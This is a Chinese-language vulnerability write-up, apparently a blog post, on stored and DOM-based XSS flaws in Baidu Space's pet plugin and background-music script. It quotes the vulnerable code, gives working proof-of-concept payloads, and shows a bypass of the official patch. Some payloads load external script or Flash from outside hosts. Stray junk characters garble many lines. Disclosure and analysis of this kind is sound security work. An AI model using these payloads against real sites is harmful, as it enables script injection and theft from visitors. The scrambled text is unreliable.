hi.baidu Xss 漏洞

admin

百度空间的宠物插件对用户输入变量未经任何过滤便存储,并不经过滤输出,造成XSS.  

( }3 U+ |$ P3 W4 Q0 t1.在http://hi.baidu.com/p__z/modify/sppet中,用户可以输入留言管理,提交后,未过滤直接储存.  
2.在http://hi.baidu.com/ui/scripts/pet/pet.js中  

将输出一段HTML:<p style="margin-top:5px"><strong>’+F[2]+"说：</strong>"+BdUtil.insertWBR(F[0], 4)+’</p>  
其中BdUtil.insertWBR为  
6 b( W' T2 g: B2 @% nfunction(text, step) {  
    var textarea = textAreaCache || getContainer();  
    if (!textarea) {  
        return text;  
* c* L" @+ L7 Z2 N- e    }  
    textarea.innerHTML = text.replace(/&/g, "&").replace(/</g, "<").replace(/>/g, ">");  
+ m! o: C( U4 s& e    var string = textarea.value;  
0 N( h( j8 X! t/ @$ z' R/ B! O    var step = step || 5, reg = new RegExp("(\\S{" + step + "})", "gi");  
    var result = string.replace(/(<[^>]+>)/gi, "$1<wbr/>").replace(/(>|^)([^<]+)(<|$)/gi, function (a, b, c, d) {if (c.length < step) {return a;}return b + c.replace(reg, "$1<wbr/>") + d;}).replace(/&([^;]*)(<wbr\/?>)([^;]*);/g, "&$1$3;");  
! i) b2 H3 Z. L: X    return result;  
  }3 E  p( j3 r5 M! K}  
5 M: g- Z; v0 n在首页中,textAreaCache 和 getContainer()均不存在,故!textarea为true,未经过滤直接return text.造成XSS.  
& l; W5 F- A  u! I测试代码：宠物留言管理处输入:<img src=# onerror=alert(/qing/)>  
9 m5 L9 Q9 E! m; E0 R; u   
二：creatbgmusic() Dom-Xss Bug  
百度空间的Javascript Dom函数creatbgmusic()在输出变量bgmusic*没有进行过滤,导致可以通过initBlogTextForFCK()函数构造容易HTML代码，最终导致xss漏洞  

在http://hi.baidu.com//js/bgmusic.js?v=1.0.js 代码：  

function creatbgmusic(murl, musicnum, IsMusicHide, IsMusicLoop, IsMusicAutoPlay, unknow, functype) {  
    //传入的murl赋值到bgmusic1和bgmusic2中  
, [- X2 d  D+ h6 ?3 Z, u9 i; p    //可以通过构造类似代码来闭合标签如 "><img src=2 onerror=s=document.createElement("script");s.src="http://www.80vul.com/sobb/alert.php";document.body.appendChild(s);>#1  
    var bgmusic1 = "<OBJECT id=phx width=100% classid=clsid:6BF52A52-394A-11D3-B153-00C04F79FAA6 " + (IsMusicHide ? "height=45" : "") + ">" + "<PARAM NAME=\"URL\" VALUE=\"" + murl + "?t=" + Math.random() + "\">" + " <PARAM NAME=\"rate\" VALUE=\"1\">" + " <PARAM NAME=\"balance\" VALUE=\"0\">" + " <PARAM NAME=\"currentPosition\" VALUE=\"0\">" + " <PARAM NAME=\"defaultFrame\" VALUE=\"\">" + " <PARAM NAME=\"PlayCount\" VALUE=\"" + (IsMusicLoop ? 100 : 0) + "\">" + " <PARAM NAME=\"DisplayMode\" VALUE=\"0\">" + " <PARAM NAME=\"PreviewMode\" VALUE=\"0\">" + " <PARAM NAME=\"DisplayForeColor\" VALUE=\"16777215\">" + " <PARAM NAME=\"ShowCaptioning\" VALUE=\"0\">" + " <PARAM NAME=\"ShowControls\" VALUE=\"1\">" + " <PARAM NAME=\"ShowAudioControls\" VALUE=\"1\">" + " <PARAM NAME=\"ShowDisplay\" VALUE=\"0\">" + " <PARAM NAME=\"ShowGotoBar\" VALUE=\"0\">" + " <PARAM NAME=\"ShowStatusBar\" VALUE=\"0\">" + " <PARAM NAME=\"ShowTracker\" VALUE=\"1\">" + " <PARAM NAME=\"autoStart\" VALUE=\"" + (IsMusicAutoPlay ? 1 : 0) + "\">" + " <PARAM NAME=\"AutoRewind\" VALUE=\"" + (IsMusicAutoPlay ? 1 : 0) + "\">" + " <PARAM NAME=\"currentMarker\" VALUE=\"0\">" + " <PARAM NAME=\"invokeURLs\" VALUE=\"0\">" + " <PARAM NAME=\"baseURL\" VALUE=\"\">" + " <PARAM NAME=\"volume\" VALUE=\"100\">" + " <PARAM NAME=\"mute\" VALUE=\"0\">" + " <PARAM NAME=\"stretchToFit\" VALUE=\"0\">" + " <PARAM NAME=\"windowlessVideo\" VALUE=\"1\">" + " <PARAM NAME=\"enabled\" VALUE=\"1\">" + " <PARAM NAME=\"EnableFullScreenControls\" VALUE=\"0\">" + " <PARAM NAME=\"EnableTracker\" VALUE=\"1\">" + " <PARAM NAME=\"EnablePositionControls\" VALUE=\"1\">" + " <PARAM NAME=\"enableContextMenu\" VALUE=\"0\">" + " <PARAM NAME=\"SelectionStart\"  VALUE=\"0\">" + " <PARAM NAME=\"SelectionEnd\" VALUE=\"0\">" + " <PARAM NAME=\"fullScreen\" VALUE=\"0\">" + " <PARAM NAME=\"SAMIStyle\" VALUE=\"\">" + " <PARAM NAME=\"SAMILang\" VALUE=\"\">" + " <PARAM NAME=\"SAMIFilename\" VALUE=\"\">" + " <PARAM NAME=\"captioningID\" VALUE=\"\">" + " <PARAM NAME=\"Visualizations\" VALUE=\"1\">";  
3 }$ V) z. H1 `1 e    if (musicnum <= 1) {  
. B8 P3 U+ j. g, z0 L        bgmusic1 += " <PARAM NAME=\"uiMode\" VALUE=\"mini\">";  
9 V7 D) J4 d. W2 C1 j! ?! o    }  
7 j* B9 u- u4 L    bgmusic1 += "</OBJECT>";  
    var bgmusic2 = "<EMBED src=\"" + murl + "?t=" + Math.random() + "\" width=\"100%\" " + (IsMusicHide ? "height=45" : "") + " type=\"application/x-mplayer2\" invokeurls=\"0\" autogotourl=\"false\" autostart=" + (IsMusicAutoPlay ? 1 : 0) + " loop=" + (IsMusicLoop ? 1 : 0) + " quality=\"high\"";  
1 Y6 n+ ]# c# H- M' m' v6 X    if (musicnum <= 1) {  
        bgmusic2 += "showcontrols=\"1\" showpositioncontrols=\"0\" ";  
  l& B" s1 y! [' p0 h0 e2 o    }  
    bgmusic2 += "> </EMBED>";  
    var bgmusic3 = "<div id=\"m_bgmusic\" class=\"modbox\">\u5BF9\u4E0D\u8D77\uFF0C\u60A8\u5C1A\u672A\u5B89\u88C5windows media player\uFF0C\u65E0\u6CD5\u6B23\u8D4F\u8BE5\u7A7A\u95F4\u7684\u80CC\u666F\u97F3\u4E50\uFF0C\u8BF7\u5148<a href=\"http://www.baidu.com/s?wd=windows+media+player+%CF%C2%D4%D8&cl=3\" target=\"_blank\">\u4E0B\u8F7D\u5E76\u5B89\u88C5</a><br><br></div>";  
1 n7 }  d3 q. M0 b5 S# `& m6 Z    var bgmus = detectWMP();  
4 e' B* E8 g0 J' z; J5 r    if (functype == "FckMusicHelper") {  
, B3 K- B+ q9 ^: R        if (bgmus.installed) {  
" H+ g* X' L; v% t) M7 \7 U            if (bgmus.type == "IE") {  
                return bgmusic1;  
            } else if (bgmus.type == "NS") {  
                return bgmusic2;  
# d/ ^2 R8 c! \; T. L2 ^            }  
        } else {  
            return bgmusic3;  
9 u; F# P: }/ ]) L% i        }  
    } else {  
        if (bgmus.installed) {  
( q, \7 v+ ~+ u  r2 C$ y% ~5 z            //document.write 直接输出bgmusic变量 导致xss  
' B; o: q. i6 n1 y* S$ r8 M; v            if (bgmus.type == "IE") {  
                document.write(bgmusic1);  
            } else if (bgmus.type == "NS") {  
                document.write(bgmusic2);  
            }  
        } else {  
: p. n( i/ C& q4 @            document.write(bgmusic3);  
% p# u1 y, d5 Y        }  
1 i& E. {( v& r- N8 N+ b        return "";  
    }  
}  

& v+ l% P. M9 I在看百度空间里的initBlogTextForFCK()函数，调用了creatbgmusic() ,代码如下：  
& ^5 u1 I, Z2 {7 K: u) G1 t1 B$ k0 y
  \: `+ r0 n9 L7 Qfunction initBlogTextForFCK(){  
* a/ `+ s! D! }, J' H. J//fck init music  
8 R$ s6 t7 c. zif(window.Node){Node.prototype.replaceNode=function(Node){this.parentNode.replaceChild(Node,this);}}  
+ m5 Q5 W9 S' i/ ^var imgBox=document.getElementsByName(’musicName’);   //取得了文章中的所有name="musicName"的标签数组  
var isAutoPlay=true;  
for(var i=0,n=imgBox.length;i<n;i++){  //然后遍历.  
  var img=imgBox;  
) q( O# [; s# K; q9 K$ i8 R  if(img.getAttribute(’rel’)){        
% p8 ?( V! k# E: j, ]& P( u$ r% I   var musicSrc=img.getAttribute(’rel’);    //取得标签中rel的值,赋值给musicSrc  
   var musicDiv = document.createElement("SPAN");  
   var tmp=musicSrc.substr (musicSrc.indexOf(’#’)+1, 1);  //以"#"为界分割musicSrc字符串,提取自动播放的flag[tmp]  
. o( S- {/ ^, [. N     
      ..........................  
% u6 h( E6 t' a3 f) K     
+ m- v  r6 \5 V% \. v   //直接将部分musicSrc传入creatbgmusic函数.在creatbgmusic函数直接把传入的murl赋值到bgmusic1和bgmusic2中并document.write出来.   
* k: s3 G9 G" }  Q' I   var shtml=creatbgmusic(musicSrc.substr(0,musicSrc.indexOf(’#’)),1,true,false,tmpAutoPlay,tmpAutoPlay,’FckMusicHelper’);  
   shtml=shtml.replace(’width=100%’,’width=200’).replace(’width="100%"’,’width=200 height=45’);   img.replaceNode(musicDiv);  
   musicDiv.innerHTML=shtml;  
   i--;n--;  
1 b) }5 v2 q- _% R' |  }  
}  

从上面的代码分析可以看出：在所有的参数传递中,我们没有看到过滤.百度空间的富文本编辑器的过滤模式是基于HTML语法的,不会过滤掉一个属性的值中的HTML标签.所以我们可以精心构造一个的恶意的标签,在JS进行DOM操作后引起XSS.  
   
测试方法：<img width="200" height="45" name="musicName" rel=’"><img src=2 onerror=alert(/qing/)>#1’ src="http://hi.baidu.com/fc/editor/skins/default/update/mplogo.gif"/>  
, k0 v4 g5 V+ w0 }( S
等待官方补丁  
. H2 J. o% g7 g. w2 D
$ P5 @, U( M. n& q5 B6 B6 Q# ~update 2010年5月13日   
2 p* P. h/ Y  s( `: S, W8 g* @. l
9 p& T$ y( J: ~2 S5 S9 w' l官方补丁：  

var shtml=creatbgmusic(musicSrc.substr(0,musicSrc.indexOf(’#’)),1,true,false,tmpAutoPlay,tmpAutoPlay,’FckMusicHelper’);  
改为：  
* \) D. f( G% k$ g9 r: p+ H1 Kvar shtml=creatbgmusic(musicSrc.substr(0,musicSrc.indexOf(’#’)).replace(/[\s><()]+/g,’’),1,true,false,isAutoPlay,isAutoPlay,’FckMusicHelper’);  

1 m5 |% |3 [/ Q9 m% r1 Bupdate 2010年5月13日 21:50:37  
# r+ y5 Y, D& o
( ]! ]: N+ I% a6 E5 h  v9 m6 S) c补丁存在漏洞 没有过滤" 可以继续跨：  
1 n3 C- _4 z+ v0 l3 r. v/ u1 ]+ |
9 \1 w1 P, V+ q$ t' bNEW POC:  

<img width="200" height="45" _fcksavedurl=" http://hi.baidu.com/fc/editor/skins/default/update/mplogo.gif" src="http://hi.baidu.com/fc/editor/skins/default/update/mplogo.gif" rel=’http://www.xsser.net/pz/js.swf"
: y0 R7 C0 k# C; r
2 A' }/ v- D0 o9 C* a; {* Eallowscriptaccess="always" type="application/x-shockwave-flash"#2’ name="musicName"/>

, c1 ^: S. _! P2 M! x2 a' [